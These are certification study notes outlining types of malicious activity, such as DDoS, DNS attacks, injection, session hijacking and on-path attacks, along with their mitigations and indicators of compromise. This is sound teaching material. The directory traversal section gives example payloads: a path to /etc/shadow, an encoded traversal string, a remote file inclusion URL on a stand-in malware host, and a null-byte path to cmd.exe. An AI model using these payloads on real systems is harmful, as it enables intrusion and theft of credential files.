Malicious Activity

Objective 2.4: Given a scenario, you must be able to analyze indicators of malicious activity

- **Malicious Activity**
  - *Malicious Activity*
    - Constantly evolving threats in the digital age
    - Concerns
      - Cyber attacks, increasing in frequency and sophistication
    - Purpose
      - Delve into cyber threats, types, mechanisms, and impacts
  - Understanding Cyber Threats
    - Importance
      - First step to effective prevention and mitigation
    - Insights
      - Tactics, techniques, and procedures employed by cybercriminals
  - Distributed Denial of Service (DDoS) Attacks
    - Variants
      - Denial of Service
      - Amplified DDoS
      - Reflected DDoS
  - Domain Name Server (DNS) Attacks
    - Types
      - DNS Cache Poisoning
      - DNS Amplification
      - DNS Tunneling

        - Domain Hijacking
        - DNS Zone Transfer
- *Directory Traversal Attacks*
    - Exploiting insufficient security validation of user-supplied input file names
- *Privilege Escalation Attack*
    - Exploiting system vulnerability to gain elevated access
- *Replay Attacks*
    - Malicious or fraudulent repeat/delay of a valid data transmission
- *Session Hijacking*
    - Attacker takes over a user session to gain unauthorized access
- *Malicious Code Injection Attacks*
    - Introduction of harmful code into a program or system
- *Indicators of Compromise (IoC)*
    - Examples
        - Account lockout
        - Concurrent session usage
        - Blocked content
        - Impossible travel
        - Resource consumption
        - Inaccessibility
        - Out-of-cycle logging
        - Published documents indicating hacking
        - Missing logs

- **Distributed Denial of Service**
    - *Denial of Service (DoS)*
        - Used to describe an attack that attempts to make a computer or server's resources unavailable
    - *Flood Attacks*
        - *Ping Flood*
            - Overloading a server with ICMP echo requests (pings)
            - Often countered by blocking echo replies
        - *SYN Flood*
            - Initiating multiple TCP sessions but not completing the 3-way handshake
            - Consumes server resources and prevents legitimate connections
            - Countermeasures
                - Flood guard
                - Timeout configurations
                - Intrusion prevention systems
    - *Permanent Denial of Service (PDOS) Attack*
        - Exploits security flaws to break a networking device permanently by re-flashing its firmware
        - Requires a full firmware reload to bring the device back online
    - *Fork Bomb*
        - Attack creates a large number of processes, consuming processing power
        - Not considered a worm, as it doesn't infect programs or use the network
        - Self-replicating nature causes a denial of service condition
    - *Distributed Denial of Service (DDoS) attack*
        - Malicious attempt to disrupt the normal functioning of a network, service, or website by overwhelming it with a flood of internet traffic

        - Involves multiple machines attacking a single server simultaneously.
        - Attackers often use compromised machines within a botnet
        - Techniques like DNS amplification can amplify the attack's impact
            - *DNS Amplification Attack*
                - Specialized DDoS that allows an attacker to initiate DNS requests from a spoof IP address to flood a website
        - DDoS attacks aim to force the target server offline temporarily
    - Surviving and Preventing DoS and DDoS Attacks
        - *Black Hole or Sinkhole*
            - Routes attacking IP traffic to a non-existent server through a null interface
            - Effective but temporary solution
        - *Intrusion Prevention Systems*
            - Can identify and respond to DoS attacks for small-scale incidents
        - *Elastic Cloud Infrastructure*
            - Scaling infrastructure when needed to handle large-scale attacks
            - May result in increased costs from service providers
        - *Specialized Cloud Service Providers*
            - Providers like CloudFlare and Akamai offer DDoS protection services
            - Provide web application filtering, content distribution, and robust network defenses
            - Help organizations withstand DDoS and high-bandwidth attacks

- **Domain Name System (DNS) Attacks**
    - *Domain Name System (DNS)*
        - Fundamental component of the internet that is responsible for translating human-friendly domain names into IP addresses that computers can understand

- *Some of the Various Types of DNS Attacks*
    - *DNS Cache Poisoning (DNS Spoofing)*
        - Corrupts a DNS resolver's cache with false information
        - Redirects users to malicious websites
        - Mitigation
            - Use DNSSEC (Domain Name System Security Extensions) to add digital signatures to DNS data
            - Implement secure network configurations and firewalls to protect DNS servers
    - *DNS Amplification Attacks*
        - Overwhelms a target system with DNS response traffic by exploiting the DNS resolution process
        - Spoofed DNS queries sent to open DNS servers
        - Mitigation
            - Limit the size of DNS responses
            - Rate limit DNS response traffic to reduce the impact
    - *DNS Tunneling*
        - Encapsulates non-DNS traffic (e.g., HTTP, SSH) over port 53
        - Attempts to bypass firewall rules for command and control or data exfiltration
        - Mitigation
            - Monitor and analyze DNS logs for unusual patterns indicating tunneling
    - *Domain Hijacking (Domain Theft)*
        - Unauthorized change of domain registration
        - May lead to loss of website control and redirection to malicious sites

- Mitigation
  - Regularly update and secure registration account information
  - Use domain registry lock services to prevent unauthorized changes
- *DNS Zone Transfer Attacks*
  - Attempts to obtain an entire DNS zone data copy
  - Exposes sensitive information about a domain's network infrastructure
  - Could be used for reconnaissance in future attacks

- **Directory Traversal Attack**
  - *Directory Traversal Attack*
    - An injection attack occurs when the attacker inserts malicious code through an application interface
    - Application attack that allows access to commands, files, and directories that may or may not be connected to the web document root directory
      - http://diontraining.com/../../../../etc/shadow
      - Unix systems use . . /
      - Windows systems use . . \ by default but may also accept the Unix-like . . /
    - Directory traversals may be used to access any file on a system with the right permissions
  - <u>WARNING</u>
    - Attackers may use encoding to hide directory traversal attempts (%2e%2e%2f represents . . /)
  - *File Inclusion*
    - Web application vulnerability that allows an attacker either to download a file from an arbitrary location on the host file system or to upload an executable or

script file to open a backdoor

        - *Remote File Inclusion*
            - An attacker executes a script to inject a remote file into the web app or website
                - https://diontraining.com/login.php?
                - user=http://malware.bad/malicious.php
        - *Local File Inclusion*
            - An attacker adds a file to the web app or website that already exists on the hosting server
                - https://diontraining.com/login.php
                - user= ../../Windows/system32/cmd.exe%00
        - Logs containing ../ pertain to directory traversals
    - To prevent directory traversals and file inclusion attacks, use proper input validation

- **Execution and Escalation Attacks**
    - *Arbitrary Code Execution*
        - Vulnerability allows an attacker to run their code without restrictions
        - Lets attackers execute their code on the target system
    - *Remote Code Execution*
        - Type of arbitrary code execution that occurs remotely, often over the internet
    - *Privilege Escalation*
        - Gaining higher-level permissions than originally assigned
        - Allows attackers to operate with elevated privileges, such as administrator or root access
        - *Vertical Privilege Escalation*
            - Going from normal user to higher privilege (e.g., admin or root)

        - Commonly associated with code execution leading to admin-level permissions
    - *Horizontal Privilege Escalation*
        - Accessing or modifying resources at the same level as the attacker
        - Occurs when a user attempts to access resources for which they don't have permissions at the same level
    - Understanding Privileges
        - Application and process privileges are required for executing functions, reading, and writing data
        - Applications inherit the permissions of the user running them (e.g., system, admin, or user)
        - Understanding and managing privileges is crucial for system security
        - Attackers aim to gain higher privileges to perform malicious actions
- *Rootkits*
    - Class of malware that conceals its presence by modifying system files, often at the kernel level
    - Can be challenging to detect and provides attackers with persistence
    - Ring Levels
        - *Ring Zero*
            - The kernel (center) with the highest privileges
            - Kernel mode rootkits (Ring Zero) are more dangerous due to their extensive control
        - *Rings 1 to 3*
            - User-level components with decreasing privileges as the ring number increases

        - *Kernel Mode Rootkit*
            - Embedded in the kernel (Ring Zero)
            - Has maximum control and privileges
            - Highly dangerous due to the extensive system access
        - *User Mode Rootkit*
            - Attached to user-level components (Rings 1 to 3)
            - Has administrator-level privileges
            - Utilizes operating system features for persistence, e.g., registry or task scheduler

- **Replay Attacks**
    - *Replay Attacks*
        - Type of network-based attack where valid data transmissions are maliciously or fraudulently re-broadcast, repeated, or delayed
        - Involves intercepting data, analyzing it, and deciding whether to retransmit it later
        - Different from a Session Hijack
            - In a Session Hijack, the attacker alters real-time data transmission
            - In a Replay Attack, the attacker intercepts the data and then can decide later whether to retransmit the data
    - Applications of Replay Attacks
        - Not limited to banking; can occur in various network transmissions
            - Email
            - Online shopping
            - Social media
        - Common in wireless authentication attacks, especially with older encryption

protocols like WEP (Wired Equivalent Privacy)

- *Credential Replay Attack*
    - Specific type of replay attack that Involves capturing a user's login credentials during a session and reusing them for unauthorized access
- Preventing Replay Attacks
    - Use session tokens to uniquely identify authentication sessions
    - Session tokens are generated for each session, making it challenging for attackers to replay sessions
    - Implement multi-factor authentication to require additional authentication factors, making replay more difficult
    - By using multi-factor authentication, attackers lack the necessary additional information to replay login sessions
    - Implement security protocols like WPA3 (Wi-Fi Protected Access 3) to mitigate replay attack threats

- **Session Hijacking**
    - *Session Management*
        - Fundamental security component in web application*s*
        - Enables web applications to uniquely identify a user across a number of different actions and requests, while keeping the state of the data generated by the user and ensuring it is assigned to that user
    - *Cookie*
        - Text file used to store information about a user when they visit a website
        - Cookies must be protected because they contain client information that is being transmitted across the Internet

    - *Session cookies*
      - Non-persistent, reside in memory, and are deleted when the browser instance is closed
    - *Persistent Cookies*
      - Cookies that are stored in the browser cache until they are deleted by the user or pass a defined expiration date
      - Cookies should be encrypted if they store confidential information
  - *Session Hijacking*
    - A type of spoofing attack where the attacker disconnects a host then replaces it with his or her own machine, spoofing the original host's IP address
    - Session hijacking attacks can occur through the theft or modification of cookies
  - *Session Prediction Attacks*
    - A type of spoofing attack where the attacker attempts to predict the session token to hijack a session
    - A session token must be generated using a non-predictable algorithm and it must not reveal any information about the session client
  - *Cookie Poisoning*
    - Modifies the contents of a cookie after it has been generated and sent by the web service to the client's browser so that the newly modified cookie can be used to exploit vulnerabilities in the web app
- **On-path Attacks**
  - *On-Path Attack*
    - An attack where the attacker positions their workstation logically between two hosts during communication
    - The attacker transparently captures, monitors, and relays communications between those hosts

- Methods for On-Path Attacks
    - *ARP Poisoning*
        - Manipulating Address Resolution Protocol (ARP) tables to redirect network traffic
    - *DNS Poisoning*
        - Altering DNS responses to reroute traffic
    - *Rogue Wireless Access Point*
        - Creating a fake wireless access point to intercept traffic
    - *Rogue Hub or Switch*
        - Introducing a malicious hub or switch to capture data on a wired network
- *Replay Attack*
    - Occurs when an attacker captures valid data and then replays it immediately or with a delay
    - Common in wireless network attacks; can also be used in wired networks
- *Relay Attack*
    - The attacker becomes part of the conversation between two hosts
    - Serves as a proxy and can read or modify communications between the hosts
    - Any traffic between the client and server goes through the attacker
- Challenges with Replay and Relay
    - Encryption can make interception and crafting communication difficult
    - Strong encryption schemes like TLS 1.3 can pose significant challenges for attackers
    - Techniques like SSL stripping may be used to downgrade encryption to an

unsecured connection

- *SSL Stripping*
  - An attack that tricks the encryption application into presenting an HTTP connection instead of HTTPS
  - Enables attackers to capture unencrypted data when the user believes they are using a secure connection

- *Downgrade Attack*
  - An attacker forces a client or server to abandon a higher security mode in favor of a lower security mode
  - Scope of Downgrade Attacks
    - Downgrade attacks can be used with various encryption and protection methods, including Wi-Fi and VPNs
    - Any situation where a client agrees to a lower level of security that is still backward compatible can be vulnerable to a downgrade attack

- **Injection Attacks**
  - *Lightweight Directory Access Protocol (LDAP)*
    - An open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network
  - *LDAP Injection*
    - An application attack that targets web-based applications by fabricating LDAP statements that are typically created by user input
    - Use input validation and input sanitization as protection against an LDAP injection attack
  - *Command Injection*

        - Occurs when a threat actor is able to execute arbitrary shell commands on a host via a vulnerable web application
    - *Process Injection*
        - Method of executing arbitrary code in the address space of a separate live process
        - There are many different ways to inject code into a process
            - Injection through DLLs
            - Thread Execution Hijacking
            - Process Hollowing
            - Process Doppel Ganging
            - Asynchronous Procedure Calls
            - Portable Executable Injections
        - Mitigation includes
            - Endpoint security solutions that are configured to block common sequences of attack behavior
            - Security Kernel Modules
            - Practice of Least Privilege

- **Indicators of Compromise (IoC)**
    - *Indicators of Compromise (IoC)*
        - Pieces of forensic data that identify potentially malicious activity on a network or system
        - Serves as digital evidence that a security breach has occurred

    - IoC includes the following

- Account Lockouts
    - Occurs when an account is locked due to multiple failed login attempts
    - Indicates a potential brute force attack to gain access
    - Balancing security with usability is crucial when implementing account lockout
- Concurrent Session Usage
    - Refers to multiple active sessions from a single user account
    - Indicates a possible account compromise when the legitimate user is also logged in
- Blocked Content
    - Involves attempts to access or download content blocked by security protocols
    - Suggests a user trying to access malicious content or an attacker attempting to steal data
- Impossible Travel
    - Detects logins from geographically distant locations within an unreasonably short timeframe
    - Indicates a likely account compromise as physical travel between these locations is impossible
- Resource Consumption
    - Unusual spikes in resource utilization
        - CPU
        - Memory
        - Network bandwidth
    - May indicate malware infections or Distributed Denial of Service (DDoS) attacks

- Resource Inaccessibility
  - Inability to access resources like files, databases, or network services
  - Suggests a ransomware attack, where files are encrypted, and a ransom is demanded
- Out-of-Cycle Logging
  - Log entries occurring at unusual times
  - Indicates an attacker trying to hide their activities during off-peak hours
- Missing Logs
  - Sign that logs have been deleted to hide attacker activities
  - May result in gaps in the log data, making it harder to trace the attacker's actions
- Published Articles or Documents
  - Attackers publicly disclose their actions, boasting about their skills or causing reputational damage
  - Can occur on social media, hacker forums, newspaper articles, or the victim's own website